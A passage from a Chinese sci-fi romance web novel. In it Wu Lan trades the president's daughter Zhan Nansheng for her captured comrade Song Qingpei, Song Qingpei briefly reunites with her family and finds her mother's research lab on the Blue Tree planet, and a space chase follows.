“乌澜?”明毓的全息影像出现在屏幕中,语气里带着担忧,“你疯了吗?现在联系我?” 乌澜急切道:“明毓,青佩在哪?” 明毓的表情瞬间变得凝重。“你不知道?”她神色凝重,“战笠三天前就抓了她。” 乌澜:“为什么不早告诉我?” “告诉你有什么用?”明毓苦笑,“你现在带着战南笙满星际逃亡,自身难保。” “现在怎么样了?”乌澜追问,“关押地点在哪里?” 明毓沉默了片刻,调出数据。“地下七层特殊监禁区,暂时没有用刑,但战笠给了最后期限……”她没有说完。 乌澜的后槽牙咬得发疼。 她太了解战笠的手段,那个男人最擅长的就是让人生不如死。 “我有计划。”明毓低声说,“我可以带人强行突袭——” “不行。”乌澜斩钉截铁地打断,“你现在还不能彻底跟战笠撕破脸,我们还需要你调动第三舰队。” “那你说怎么办?”明毓皱眉,“总不能看着青佩死?” 乌澜的呼吸变得粗重,她转身看向舱门,压低声音道:“可以用战南笙做筹码。” 明毓的影像凝固了。 “……什么?” “战笠可以不在乎宋青佩,但他不能不在乎自己的女儿。”乌澜的声音冷静得近乎残酷,“告诉他,如果宋青佩少一根头发,他就永远见不到战南笙。” 通讯器那头传来明毓倒吸冷气的声音。“乌澜,你认真的?那是战南笙!她对你——” “我知道。”乌澜打断她,眼神冰冷,“但这是最有效的方法。” 明毓沉默了很久,最终低声说:“谢谢。” 乌澜扯了扯嘴角,没有回答。 “咔嗒”。 一声轻微的机械音从门口传来。 乌澜的血液瞬间冻结。 她缓缓转身,看到本该锁死的舱门不知何时开了一条缝。而此刻,它正被完全推开,露出战南笙苍白的脸。 时间仿佛静止了。 乌澜看到战南笙赤着脚,身上只套了件松垮的睡袍,死死地盯着她。 明毓的影像立刻切断了,留下一室死寂。 “……南笙。”乌澜的喉咙发紧,声音却刻意压得平静。 战南笙没说话,只是盯着她,胸口剧烈起伏,仿佛下一刻就会彻底失控。 “你都听到了?”乌澜问,语气近乎冷漠。 战南笙的指尖颤了一下。 然后,她笑了。 那笑声很轻,却像玻璃碎裂的声响,扎进乌澜的耳膜。 “听到了。”战南笙的声音很轻,“原来我只是个筹码。” 乌澜的下颌绷紧。 她应该继续演下去,应该用更残酷的话碾碎战南笙的希望,可是—— 她却说不出口了。 猝不及防的,战南笙突然抓起控制台上的金属杯,狠狠砸了过来! “砰!” 杯子擦着乌澜的额角飞过,撞在墙上,发出刺耳的撞击声。温热的血顺着乌澜的太阳穴滑下,滴在她的白色衣服上,晕开暗色的痕迹。 乌澜没躲。 “你骗我。”战南笙的声音发抖,每个字都像从牙缝里挤出来的,“从一开始,你就在骗我!” 乌澜抬手擦掉血,面无表情:“是。” 战南笙的呼吸一滞。 她猛地冲上前,一把揪住乌澜的衣领,指甲几乎掐进她的皮肉。“那些夜晚呢?!”她的声音陡然拔高,带着崩溃的颤音,“你说你爱我——那也是骗我的?!” 乌澜任由她拽着,眼神冷得像深渊。“不然呢?”她嗤笑一声,“你真以为我会爱上战笠的女儿?” 战南笙的瞳孔剧烈收缩。 乌澜逼近一步,语气残忍:“你不过是个好用的工具。天真,好骗,稍微对你好一点,你就死心塌地——” “啪!” 一记耳光狠狠扇在乌澜脸上。 战南笙的手在发抖,掌心火辣辣地疼。 乌澜的脸偏到一侧,嘴角渗出血丝,可她竟然还在笑。 “打够了?”乌澜舔掉唇角的血,抬眼看向她,“现*在认清现实了?” 战南笙的胸口剧烈起伏,眼泪在眼眶里打转,却倔强地不肯落下。她死死盯着乌澜,仿佛要把这张脸刻进骨髓里,再亲手剜出来。 “为什么?”她声音嘶哑,“为什么要这样对我?” 乌澜沉默了一瞬。 然后,她缓缓抬手,扣住战南笙的手腕,一根一根掰开她攥紧自己衣领的手指。移开与她对视的视线道:“因为我需要一个能威胁战笠的筹码。” 战南笙的瞳孔收缩了一下,仿佛不死心般:“不可能!你说爱我的……” “任务需要。”乌澜的声音像刀,“让你信任我,才能带你走。” 战南笙死死盯着她,似乎想从她脸上找出一丝破绽。 但乌澜的表情冷硬如铁,没有半分动摇。 “呵呵呵”战南笙突然大笑,笑声里带着癫狂,“我父亲要拿我联姻,你要拿我当垫脚石你们把我当什么?!” 乌澜看着她,没有说话。 “说话啊!”战南笙扑上来揪住她的衣领,“看着我!告诉我!” 乌澜终于抬眼,眸中是战南笙从未见过的冷漠:“重要吗?现在知道了真相,你不是应该庆幸早点认清我吗?” 战南笙如遭雷击,她后退几步,近乎崩溃道:“我要杀了你”声音颤抖得不成样子,“我一定要杀了你” 乌澜静静站着,甚至主动拿出身上的激光枪递到她手中,一字一句:“动手吧。”她指了指眉心,“往这里,你受过专业训练,知道怎么一击毙命。” 战南笙死死地看着她,嘴唇抖动。 许久,枪“当啷”一声掉在地上。 “为什么?为什么不继续骗我我宁愿宁愿永远不知道” 乌澜的音调几不可察地颤了颤,但说出口的话却比刀还利:“因为戏演够了。你父亲和秦勉已经生了嫌隙,我会用你去换青佩回来,你再也没有利用的价值。” 战南笙踉跄着后退两步,跪倒在地,像是被这句话捅穿了心脏。 乌澜以为她会哭,会崩溃,会歇斯底里—— 可战南笙只是站在那里,缓缓抬起下巴,眼泪终于滑下来,可她的眼神却冷得可怕。 “好。”她轻声说,“乌澜,你很好。” 战南笙瘫坐在地上,一句话也没再说,仿佛被抽走了灵魂的木偶,任由乌澜将她关进了飞船的禁闭室内。 从禁闭室出来,乌澜缓缓滑坐在地上,后背抵着冰冷的金属墙壁,身体缓缓下滑,默默垂脸沉在手臂中,一声不吭。 血还在流。 许久,她仿佛终于平复,抬手狠狠地按住伤口。 疼痛让她清醒。 乌澜擦干了脸上的血迹,额角的伤口还在隐隐作痛,但她已经用医用凝胶简单处理过,只留下一道暗红色的痕迹。 稍微平复了下呼吸,她再次联系了明毓。 明毓的全息影像刚一出现,就注意到乌澜额头的伤,急切地问:“乌澜,你那边情况怎么样?” “已经控制住了。”乌澜的声音冷静得不像话,仿佛刚才那场激烈的对峙从未发生过,“战南笙被关在禁闭室,短时间内不会构成威胁。” 明毓的眉头微不可察地皱了一下:“她都知道了?” “嗯。”乌澜简短地回应,手指在控制台上无意识地敲击着,“这样更好,省得继续演戏。” 明毓盯着她看了几秒,欲言又止。 最终,她只是轻轻叹了口气:“时间不多了。战笠刚刚又发来最后通牒,48小时内见不到人,他就会对青佩用刑” “我知道。”乌澜打断她,眼神锐利如刀,“所以我们必须尽快行动,你觉得用战南笙交换青佩的可行性大吗?” 明毓思索了一会:“很难说,战南笙虽然是他唯一的血脉继承人,但战笠一向冷酷,并不一定就会受我们的要挟。” 乌澜顿了一下,分析道:“我之前见了秦勉,他的野心很大,或许我们可以利用他跟战笠之间的争斗,借此让他向战笠施压。现在正值选举的关键时刻,相信战笠应该也不敢将事情闹得太大。” 听她说完,明毓道:“就算是战笠答应了,也还有很大的风险。战笠很可能会在交换的时候设伏,他不可能轻易放走青佩。” 乌澜的嘴角扯出一个冰冷的弧度:“所以我们需要后手。你那边能调动多少人?” “第三舰队最少两百人可以秘密支援。”明毓压低声音,“但需要24小时准备时间。” “足够了。”乌澜停下脚步,眼神变得深邃,“我会带战南笙前往预设的地点——‘暗礁’星域。那里地形复杂,适合伏击也适合撤退。” “好,那就这样。”明毓快速道:“我会安排两支突击小队埋伏在跳跃点附近,掩护你们撤离。”她顿了顿,“乌澜,你确定要这么做吗?战南笙她” “她只是筹码。”乌澜的声音突然变得毫无温度,仿佛在刻意隐藏自己的情绪。 明毓沉默了片刻:“我只是担心你的状态。你和战南笙” “没有我和战南笙。”乌澜猛地转身,眼中闪过一丝痛楚,但很快被冰冷覆盖,“任务就是任务,个人感情不该影响判断。” 通讯室内陷入短暂的寂静。 明毓最终点了点头:“好吧。‘暗礁’星域见,保持加密频道联络。” “明白。”乌澜关闭通讯,全息影像瞬间消失。 她站在原地,突然感到一阵眩晕。 额头上的伤口又开始隐隐作痛,但比起这个,胸口那种被撕裂的感觉更让她难以忍受,战南笙那双满是恨意的眼睛不断在她脑海中闪现。 乌澜强迫自己收敛心神,继续未完的事情。 现在,她需要给总统戴笠打电话谈判了,战南笙知道,怕是更要恨死她了吧。 第87章 我等你回来 总统府的办公室内,战笠站在落地窗前,俯瞰着首都星的夜景。 通讯器突然响起。 战笠瞥了一眼,屏幕上显示的是一串加密号码,没有身份识别,没有来源标记,但战笠的嘴角却缓缓勾起一丝冷笑。 他按下接听键。 “总统先生。”乌澜的声音从通讯器里传来,带着一丝漫不经心的笑意,“好久不见。” 战笠的手指轻轻敲击着桌面,声音低沉而危险,“乌澜,你真是好样的。” 通讯器那头传来一声轻笑:“这都是跟您学的。” 战笠的眼神骤然冷了下来。 “直说吧,”他干脆地打断,“你想要什么?” 乌澜的声音也冷了下来:“宋青佩。” 战笠眯起眼睛:“哦?” “别装糊涂,”乌澜淡淡道,“我知道她在你手里。放了她,我就把你女儿还给你。” 战笠的指节微微泛白,但声音依然平稳:“你在威胁我?” “不,”乌澜轻笑道,“我在跟您谈交易。” 办公室内陷入短暂的沉默。战笠的目光落在墙上那幅全家福上——照片里的战南笙还十分稚嫩,脸上带着笑靠在她身边,眼神明亮如星。 “我要确认南笙的安全。”战笠最终开口。 通讯器那头传来衣物摩擦的声响,然后是脚步声。片刻后,战南笙的声音传来,低哑而疲惫:“父亲。” 战笠的瞳孔一缩。 “南笙,”他的声音罕见地柔和了一瞬,“后悔了吗?” 战南笙没有回答。 通讯器里只有沉重的呼吸声,仿佛她正极力压抑着什么。 “记住,战家的女儿,”战笠的声音又恢复了冷硬,“不能如此没用。” 战南笙的呼吸一滞。 “是。”她最终低声回应,声音里带着难以察觉的颤抖。 通讯器重新回到乌澜手中:“怎么样,是否要答应这个交易?” 战笠的眼神阴鸷:“好,我答应你。” “成交。明天中午,第三星港,B7区。”乌澜干脆地挂断了通讯。 办公室内重新陷入寂静。 站在一旁的调查局局长陈铎小心翼翼地上前:“总统,您真的答应交换?” 战笠缓缓转身,脸上的温和早已消失殆尽,取而代之的是深不见底的阴冷。 “陈铎,”他轻声道,“你觉得我会这么轻易放过她们?” 陈铎一愣:“那您这是” “拖延时间。”战笠走到全息星图前,手指划过一片幽蓝的星域,“黑鸢花的余孽一直藏在暗处,这次终于露头了。” “等她们都出来,到时候”战笠的声音如同淬了毒,“一网打尽。” 陈铎恍然大悟,连忙奉承:“还是总统想得周到!这样一来,不仅能救回大小姐,还能彻底铲除黑鸢花!” 战笠没有回应,眼神晦暗不明—— 飞船的禁闭室内,战南笙蜷缩在角落,双臂环抱着膝盖。 通讯已经结束,舱内只剩下通风系统轻微的嗡鸣。她的指尖还残留着通讯器的余温,耳边回荡着父亲最后那句话—— “战家的女儿,不能如此没用。” 她缓缓闭上眼睛,喉咙里压着一团灼热的血锈味。 舱门滑开的声响让她猛地抬头。 乌澜站在门口,逆着光,看不清表情。 “满意了?”战南笙的声音嘶哑,“我这个筹码,终于被你发挥出了最大的作用。” 乌澜没有回答,只是走进来,将一杯水放在她面前。 战南笙看都没看,抬手打翻。 玻璃杯砸在地上,碎片四溅,水渍在地面晕开一片暗色。 “别假惺惺了,”战南笙冷笑,“明天就要拿我去换你的宋青佩了,还装什么?” 乌澜静静地看着她,突然蹲下身,与她平视。 “恨我吗?”她轻声问。 战南笙的瞳孔微微一缩。 “恨?”她突然笑了,笑声里带着癫狂,“我恨不得亲手杀了你!” 乌澜的眼中闪过一丝复杂的情绪,但转瞬即逝。她伸手,轻轻拂过战南笙凌乱的长发,动作温柔得近乎残忍。 “那就记住这种感觉,”她低声道,“永远别忘记。” 战南笙猛地拍开她的手:“滚!” 乌澜站起身,居高临下地看着她:“好好休息,明天你就自由了——” “自由?”战南笙讥讽地打断,“乌澜,我发誓,余生活着”她的声音突然哽住,“只为了杀你。” 乌澜没有否认。 她转身走向舱门,在即将离开时,又突然停下脚步。 “大小姐,建议你回去后换个身份生活,毕竟战家很快就要倒了。” 战南笙猛地抬头:“你什么意思?” 乌澜在舱门前停住,侧脸在警示灯下忽明忽暗:“你以为战笠还能当多久总统?”她轻笑一声,“马上要变天了。” 舱门关闭的瞬间,战南笙撕心裂肺的喊声穿透金属隔板:“乌澜!我恨你!我做鬼都不会放过你!” “好,我等着你!” 乌澜笑了笑,再次关闭了禁闭室的门。 “这样也好。”她对着空荡荡的走廊喃喃自语,“恨比爱更长久” —— 时间过得很快,到了交换的时候。 第三星港B7区曾经是繁华的货运中心,如今只剩下锈蚀的金属骨架和破碎的玻璃穹顶。乌澜选择这里作为交换地点,不仅因为它的四通八达,更因为那些纵横交错的管道能为可能的变故提供掩护。 “走慢点。”乌澜拽了一下战南笙手腕上的束缚带。 战南笙冷笑一声,“你紧张了?怕我父亲设埋伏?” “他不会的。”乌澜平静得可怕,“战笠再冷血,也不会拿亲生女儿冒险。” 战南笙的呼吸微不可察地滞了一瞬。 乌澜太熟悉她的每一个反应,那微微收缩的瞳孔,下意识咬住下唇的小动作,都在无声地控诉着这个残酷的事实:她的父亲确实会。 “到了。”乌澜突然停下脚步,将战南笙拉到一个废弃的货运平台中央。 这里视野开阔,四周一览无余。 她解开战南笙手腕上的束缚带,却留下了那个精巧的电子镣铐,看起来像是普通手环,实则能释放足以让人昏迷的电流。 “最后的机会。”乌澜突然凑近战南笙耳边,“大小姐,还有什么想说的?” 战南笙猛地转头,鼻尖几乎撞上乌澜的脸,她们离得那么近,乌澜能看清她睫毛上未干的泪痕,闻到她身上淡淡的血腥味。 “有。”战南笙的声音嘶哑,“告诉我一件事,就一件。”她的指尖无意识地抠着手铐边缘,“那天在飞船上你说爱我的时候,有没有哪怕一瞬间,是真的?” 乌澜再次顿住。 她应该像之前计划的那样,给出那个残忍的答案,彻底斩断战南笙的念想。 但当她看着战南笙通红的眼眶,那些排练了无数次的谎言突然卡在喉咙里。 “我——” “乌澜!”一个尖锐的声音打断了她们。 陈铎带着一队全副武装的特工从通道另一端走来,宋青佩被围在中间,脸色苍白得吓人,但眼神依然清醒。 乌澜瞬间切换回那副玩世不恭的表情,抬手将战南笙往前推了半步:“陈代局长,很准时。” 陈铎冷笑一声,示意手下停下。“少废话,人我带来了,快点放了战中将。” 最后看了眼战南笙,乌澜晃了晃手中的控制器:“同时放人,同时解锁。” 陈铎没有废话,直接让人将宋青佩带到了前面。 乌澜与宋青佩交换了一个眼神,最终,乌澜微微点头:“数到三。” “一。” 战南笙的身体绷紧了。 乌澜能感觉到她的颤抖,透过薄薄的衣料传来,像一只被困的鸟。 “二。” 宋青佩被推向前方,她的步伐有些不稳,但眼神始终锁定在乌澜身上。陈铎的手下解开了她的手铐,却依然警惕地围着她。 “三。” 乌澜按下控制器的瞬间,战南笙猛地转身,电子镣铐“咔嗒”一声脱落。她们之间的距离突然缩短到呼吸可闻,战南笙的眼中燃烧着乌澜从未见过的火焰。 “乌澜。”她几乎是贴着乌澜的嘴唇说出这句话,“终有一天,我会亲手杀了你。” 这句话像刀子一样捅进乌澜心里。 可她应该感到高兴的,这正是她想要的结果,让战南笙恨她,彻底斩断那些不该有的羁绊。 “我等着。”乌澜勾起嘴角,露出那个战南笙最熟悉的、漫不经心的笑容。 下一刻,战南笙已经大步走向陈铎的队伍,背影挺拔如松,没有回头看一眼。乌澜则迅速接应宋青佩,检查她的伤势。 “能走吗?”乌澜低声问,一手扶住宋青佩的腰。 宋青佩点头,却在迈步时踉跄了一下:“左腿他们用了神经干扰器。” 乌澜的眼神瞬间阴鸷,但很快压下情绪。现在不是发作的时候,她们必须尽快离开,她半扶半抱地带着宋青佩向预定出口移动。 转过一个拐角,乌澜立刻加快了速度。“慕容瑞雪在3号通道等我们,”她低声说,“能撑住吗?” 宋青佩咬牙点头:“乌澜战南笙她” “别问。”乌澜打断她,声音里带着罕见的紧绷,“先离开这里。” 她们穿过一条狭窄的维修通道,宋青佩的呼吸越来越重,但始终没有喊停。直到看见前方那扇标着“3”的金属门,乌澜才稍稍放松警惕。 门开的一瞬间,慕容瑞雪冲上来接住摇摇欲坠的宋青佩:“青佩!天啊,他们对你做了什么?” “没事”宋青佩虚弱地笑了笑。 乌澜锁好门,迅速检查了一遍这个临时安全屋,确认没有监控和追踪器后,她才允许自己稍微松懈下来,靠在墙边喘了口气。 “乌澜。”宋青佩突然开口,声音已经恢复了些许力气,“谢谢你来救我。但代价是不是太大了?” 乌澜知道她指的是什么,疲惫地抹了把脸:“值得。” 慕容瑞雪正在为宋青佩处理伤口,闻言抬头:“老师已经和秦勉谈妥了,只要我们拿到蓝树星球的——” “瑞雪。”乌澜警告地看了她一眼,“先离开这里再说。” 三人快速登上了飞船,第三星港B7区的锈蚀金属在舷窗外缓缓后退,慕容瑞雪将飞船调整为自动驾驶模式。 “跃迁坐标已锁定。”慕容瑞雪从控制台前抬起头,手指在全息星图上划出一道蓝色轨迹,“按这个速度,三十个小时后就能抵达蓝树星外围轨道。” 宋青佩靠在舱壁休息,三个月的囚禁让她的肌肉记忆有些迟钝,但想到即将执行的任务,她还是强迫自己集中精神。 “青佩。”乌澜突然开口,声音里带着罕见的柔和,“我们会在C-719中转站停留两小时。” 宋青佩皱眉:“太冒险了,战笠的人可能——” “明毓在那里等你。”乌澜打断她,嘴角勾起一抹了然的弧度,“带着颂颂。” 因为激动,宋青佩的呼吸停滞了一瞬。 见状,慕容瑞雪适时地补充:“放心,C-719星港是明家的势力范围,很安全。” “谢谢。”最终她只说出这两个字,但颤抖的尾音暴露了更多。 两个小时后,飞船降落到C-719星港。 乌澜拍拍宋青佩的肩膀,“去吧,我去检查航线。” 舱门开启的液压声响起,宋青佩的心跳骤然加速。 首先出现在舷梯上的是明毓,她穿着军装外套,腹部已经明显隆起,黑发比上次见面长了些,随意地扎在脑后。 她的眼睛在看到宋青佩的瞬间亮了起来。 然后,一个小小的身影从明毓身后窜出来。 “妈妈!” 颂颂像颗小炮弹一样冲下舷梯,连衣裙在风中飞扬。她的头发扎成了两个小揪揪,随着奔跑的动作上下跳动,脸上还挂着泪痕。 宋青佩膝盖一软,几乎是跪着接住了飞扑而来的女儿。 颂颂温软的小身体撞进怀里的那一刻,三个月的思念如决堤的洪水般涌出。她紧紧抱住女儿,将脸埋在那熟悉的奶香味中,肩膀不受控制地颤抖。 “妈妈妈妈”颂颂哭得上气不接下气,小手死死揪着宋青佩的衣领,“我好想你每天都想妈咪说你会回来但是好久好久” 宋青佩说不出话来,只能一遍遍亲吻女儿的头发、额头、脸蛋,咸涩的泪水滑进嘴角。她感觉到明毓的手轻轻搭在自己肩上,温暖而有力。 “她天天念叨你。”明毓的声音从头顶传来,带着克制的颤抖,“昨晚听说能见你,兴奋得一夜没睡。” 宋青佩抬头,对上明毓含泪的眼睛,腹部隆起的弧度更是让宋青佩心头一热,那是她们的孩子,还好好地在她身体里成长。 “明毓”她轻声唤道,声音哽咽。 明毓蹲下身,将她们母女一起揽入怀中。 三个人的体温交融在一起,宋青佩闭上眼睛,将这一刻深深刻进记忆里。 “进去说吧。”良久,明毓轻声建议,“外面风大。” 休息舱内,颂颂像只小考拉一样挂在宋青佩身上不肯下来,生怕一松手妈妈就会消失。宋青佩耐心地抱着她,手指轻轻梳理着她有些打结的发梢。 “妈妈,你看!”颂颂突然从口袋里掏出一个皱巴巴的纸星星,“这是我在幼儿园做的!老师说可以许愿,我每天都许愿让妈妈快点回来!” 宋青佩的喉咙发紧:“宝贝真棒妈妈现在不是回来了吗?” “可是你又要走了对不对?”颂颂突然问道,大眼睛里盛满与她年龄不符的敏锐,“妈咪说你有很重要的事情要做” 宋青佩求助地看向明毓,后者递给她一杯热茶,轻轻点头。 “是的,妈妈还要离开一段时间。”宋青佩选择诚实,将女儿的小手包裹在自己掌心里,“但这次我保证,很快就会回来。而且”她温柔地摸了摸明毓的肚子,“等妹妹出生时,我一定会在你们身边。” 颂颂的小脸皱成一团,似乎在认真思考这个承诺的可靠性。最终,她伸出小拇指:“拉钩!” 宋青佩笑着勾住那根小小的手指:“拉钩。” 明毓适时地拿出一个点心盒:“颂颂,要不要尝尝新做的星星饼干?” 孩子的注意力立刻被转移,欢呼着去拿饼干。 明毓趁机凑到宋青佩耳边:“乌澜告诉我了,你们要去蓝树星球。”她的呼吸拂过宋青佩的耳廓,“危险吗?” 宋青佩握住她的手,感受着那熟悉的温度和掌心的薄茧:“我会小心的。”她顿了顿,声音更低,“明毓,如果” “没有如果。”明毓斩钉截铁地打断她,手指收紧,“青佩,你给我听好,不管发生什么,不管你要面对什么,记住——”她将宋青佩的手按在自己心口,“我永远是你最坚强的后盾。明家和宋家的力量,永远站在你身后。” 宋青佩眼眶发热,她忍不住倾身向前,额头抵着明毓的肩膀,紧紧抱住了她。明毓的手温柔地抚过她的后背,两人都没再说话,却又仿佛什么都说了。 “妈妈!”颂颂的声音打破了这一刻,她举着一块星星形状的饼干跑过来,“这个给你!最大的一颗!” 宋青佩忙接过饼干咬了一口,甜腻的味道在舌尖化开:“真好吃,谢谢宝贝。” 接下来的两个小时里,宋青佩全神贯注地听颂颂讲述这几个月发生的每一件小事,幼儿园的新朋友、学会的儿歌、养的小金鱼,还有她如何每天对着明毓的肚子说话,“这样妹妹出生就会认得我的声音!” 宋青佩将每一个字都牢牢记在心里,当乌澜轻轻敲门,示意该出发时,她的心脏像是被一只无形的手狠狠攥住。 “要走了?”明毓平静地问,但宋青佩能看到她眼中闪过的痛楚。 颂颂似乎察觉到了什么,突然扑进宋青佩怀里:“妈妈不要走!”她哭喊着,小手死死抓住宋青佩的衣领,“你答应过的你答应会回来” 宋青佩心如刀绞,只能一遍遍亲吻女儿的头发:“妈妈很快就回来,真的这次不会太久”她的声音破碎,几乎说不下去。 明毓轻轻将颂颂接过来,柔声哄道:“宝贝,记得我们怎么说的吗?妈妈要去打坏人,就像超人一样” “可是我不想妈妈当超人了”颂颂抽泣着,但还是松开了手,显示出超乎年龄的懂事,“那那妈妈要早点回来!” 宋青佩神色凝重地点头:“好,妈妈一定早点回来。” 最后的告别简单而迅速,宋青佩知道,拖得越久越难割舍。她深深地拥抱了女儿,然后在明毓唇上落下一个短暂的、带着咸涩泪水的吻。 “等我回来。”她低声说。 明毓点点头,眼神坚定:“我和孩子们等你。” 宋青佩强迫自己不要回头,直到舱门关闭的瞬间,她才透过舷窗最后看了一眼,颂颂站在远处挥舞着小手,而明毓的唇形分明在说: 我爱你。 第88章 乌澜,你逃不掉的! 三人出发后,因为担忧慕容暇的情况,便让慕容瑞雪回去了,只剩下宋青佩和乌澜前往寻找蓝树星。 两人经过漫长的航行。 当飞船穿越最后一层离子风暴时,防护罩发出刺耳的警报声。 “坐稳了!”乌澜的手指在控制面板上飞舞,额角渗出细密的汗珠,“这鬼地方比情报描述的还要危险!” 一阵剧烈的颠簸后,飞船终于冲破云层。 舷窗外豁然开朗。 一颗被淡蓝色光芒笼罩的星球展现在眼前,地表上巨大的蓝色树木如同血管般分布,树冠间流动着荧光般的物质。 宋青佩的呼吸一滞。 这景象似乎与她脑内模糊的记忆碎片缓缓重合,实验室墙上的星图,会发光的树,她一直以为是梦境的场景。 “坐标确认。”乌澜的声音将她拉回现实,“Nebula-7星系第四行星的卫星,就是这里了。” 飞船降落在星球表面一片开阔地带。 舱门打开的瞬间,一股奇特的香气扑面而来,像是雨后森林的气息,却又带着某种从未闻过的金属味。 “大气成分安全。”乌澜检查着手持探测器,“但辐射值偏高,我们最好快点。” 宋青佩点点头,将离子枪别在腰间。 两人沿着一条明显是人工开凿的小径前进。 周围的蓝树比远处看起来更加壮观,树干上流淌的荧光物质在昏暗的光线下如同活物般脉动。宋青佩忍不住伸手触碰,指尖传来微微的刺痛感,同时一股奇异的温暖顺着手指流遍全身。 “小心!”乌澜一把拽回她的手,“这些树分泌的物质可能有毒。” 但宋青佩却感到一种莫名的熟悉。 “不我觉得它们认识我。”她轻声说,再次看向那些树木时,仿佛能听到微弱的、类似心跳的律动。 乌澜古怪地看了她一眼,但没有多说什么。 两人继续前进,很快,一座半掩埋在植被中的金属建筑出现在视野里。 那是一个半球形的实验室,表面覆盖着某种能吸收光线的材料,即使在蓝树的荧光下也显得格外暗淡。 “应该就是这里了。”宋青佩的心跳加速,喉咙发紧。 实验室的门禁系统依然在工作,一个全息投影的扫描仪从门框上弹出。乌澜立刻进入戒备状态,而宋青佩却鬼使神差地走上前,抬头看向扫描仪。 “验证通过。欢迎回来,宋博士。”机械女声响起,大门无声滑开。 乌澜惊讶地挑眉:“青佩,你早就知道?” “不只是直觉。”宋青佩同样震惊,仿佛有什么在指引着她前进。 实验室内部出人意料地整洁,仿佛时间在这里停滞。各种仪器井然有序地摆放着,中央控制台上悬浮着数个全息投影,显示着复杂的数据。最引人注目的是右侧墙壁上的一排培养舱,里面漂浮着某种发光的蓝色液体。 “蓝树提取液”乌澜惊呼,快步走向那些培养舱。 就在这时,主控台突然亮起,一个全息影像缓缓成形。 那是一个穿着白色实验服的女性,黑发挽成简单的发髻,面容温和却透着坚毅。这人她曾经在宋家的全家福上看过。 宋青佩的血液瞬间凝固:那是她的妈妈——宋桃夭。 “如果你看到这段记录,说明我的女儿已经长大了。”全息影像中的宋桃夭微笑着,眼神温柔,“我亲爱的孩子,原谅妈妈不能陪在你身边。” 宋青佩颤抖着伸出手,却只穿过了一片虚无的光影。 “蓝树提取液是我毕生研究的结晶。”宋桃夭的影像继续道,“你的母亲一直致力于研发平价提取液,用以抑制信息素对人的影响,可这动了勋贵的利益。”她的表情变得严肃,“战笠为了夺取这份研究不择手段,他背叛了我们的友谊,背叛了整个联邦” 影像突然闪烁起来,宋桃夭的身影变得不稳定。“时间不多了提取液的样本和所有研究数据都在这里” 影像戛然而止,实验室重新陷入寂静。 宋青佩呆立在原地,五味杂陈。乌澜轻轻按住她的肩膀,给予无言的安慰。 “我们得抓紧时间。”片刻后,宋青佩擦干眼泪,声音恢复了坚定,“母亲留下的东西,我们必须全部带走。” 两人迅速行动起来。 乌澜负责下载实验室的主数据库,而宋青佩则小心地将蓝树提取液样本装入特制的保存箱。在整理文件时,她在一个隐藏的抽屉里发现了一些私人物品:一本日记,几张家庭照片,还有一封写给她的信。 宋青佩颤抖着打开信封,娟秀的字迹跃入眼帘: 「亲爱的女儿: 当你读到这封信时,妈妈可能已经不在了。但请记住,无论发生什么,我永远爱你。你是我生命中最美好的奇迹,是我所有勇气和希望的源泉」 信纸被泪水打湿,宋青佩将它小心地贴近心口。 这一刻,她感受到了一种奇异的力量,给予她继续前行的勇气。 “搞定了。”乌澜的声音从控制台传来,“所有数据都已加密传输到我们的飞船。你那边怎么样?” 宋青佩点点头,将信和照片收好:“样本已经安全封装。我们走吧。” 返回飞船的途中,两人都保持着警惕的沉默。 蓝树星球的天空开始变化,原本柔和的蓝光逐渐转为深紫,空气中弥漫着紧张的气息。 “风暴要来了。”乌澜加快脚步,“我们得赶紧离开。” 就在他们即将抵达飞船时,乌澜的通讯器突然响起刺耳的警报声,她迅速查看,脸色瞬间变得煞白。 “出事了!”她将屏幕转向宋青佩,“黑鸢花基地被包围了!” 屏幕上显示着慕容瑞雪发来的紧急求救信号,随后是一段模糊的监控画面:数十艘印有联邦标志的战舰将黑鸢花基地团团围住,而站在最前方的指挥官赫然是战南笙。 她穿着联邦军装,眼神冰冷,与原本骄傲却鲜活的模样判若两人。 “战南笙?”宋青佩震惊地看向乌澜,“她怎么会” 乌澜的表情复杂难辨,手指无意识地摩挲着腰间的武器:“战笠派她来的,战南笙她恨我,恨所有与黑鸢花有关的人。一旦情况不对,你必须带着样本先走,明白吗?” “好。”宋青佩点头,转身走向驾驶舱: “设定航线,慕容阿姨他们等不了太久。” —— 黑鸢花基地外围,联邦战舰如铁幕般封锁了每一条航道。 战南笙站在旗舰“天罚者”的指挥舱内,冰冷的蓝光映在她苍白的脸上。 “报告指挥官,所有出口已封锁。”副官的声音从通讯器中传来,“但*基地内部仍在抵抗。” 战南笙的目光落在全息投影上,那是黑鸢花基地的结构图,十几个红点表示仍在交火的位置。 “用电磁脉冲弹。”她的声音冷得像冰。 “可是指挥官,脉冲弹会伤及——” “执行命令。”战南笙打断他,眼神锐利如刀。 就在这时,雷达员突然大喊:“侦测到不明飞行器!正试图突围!” 战南笙猛地转身,看向主屏幕,一艘熟悉的黑色飞船正以惊人的速度突破防线,那流畅的线条,那独特的推进器尾焰—— 是乌澜的“夜莺号”。 她的心脏骤然紧缩,指甲深深掐进掌心。 “锁定它。”她听见自己的声音在颤抖,“不许击落,我要亲自处理。” 被锁定的“夜莺号”内,警报声刺耳地回荡。 乌澜的手指在控制面板上飞舞,飞船在密集的火力网中穿梭,每一次规避都惊险万分。 “乌澜!右翼护盾只剩30%!”宋青佩紧抓着座椅,脸色苍白。 “坐稳了!”乌澜猛地拉下推进杆,飞船以近乎垂直的角度向上攀升,三枚追踪导弹擦着船底掠过,在远处炸开一团刺目的火光。 宋青佩透过舷窗看到,至少二十艘战舰正在调整阵型,准备第二轮拦截。“我们冲不进去的” “谁说我们要冲出去?”乌澜突然勾起嘴角,露出玩世不恭的笑容,“我们只需要争取十分钟。” 她按下某个隐蔽的按钮,飞船突然释放出数十个干扰弹,同时后舱弹射出一个小型逃生舱,那里面装着蓝树提取液的样本和宋桃夭的研究数据。 “你疯了?”宋青佩瞪大眼睛,“那是我们唯一的——” “障眼法。”乌澜打断她,眼睛紧盯着雷达,“看,他们上钩了。” 果然,大部分战舰都转向追击那个逃生舱,只有一艘纯黑色的机甲紧追不舍,是战南笙追上来了。 “计划有变。”乌澜的表情突然严肃起来,“我会引开她,你趁机去基地找慕容暇。” “你要干什么?”宋青佩警觉地问。 乌澜没有回答,只是突然调转船头,朝着一片小行星带冲去。 “相信我。”她最后说道,声音轻得几乎听不见。 小行星带中,两艘飞船如同幽灵般穿梭。 乌澜的“夜莺”灵活地绕过每一块陨石,而战南笙的“寒鸦”则暴力得多,直接用离子炮轰开障碍。 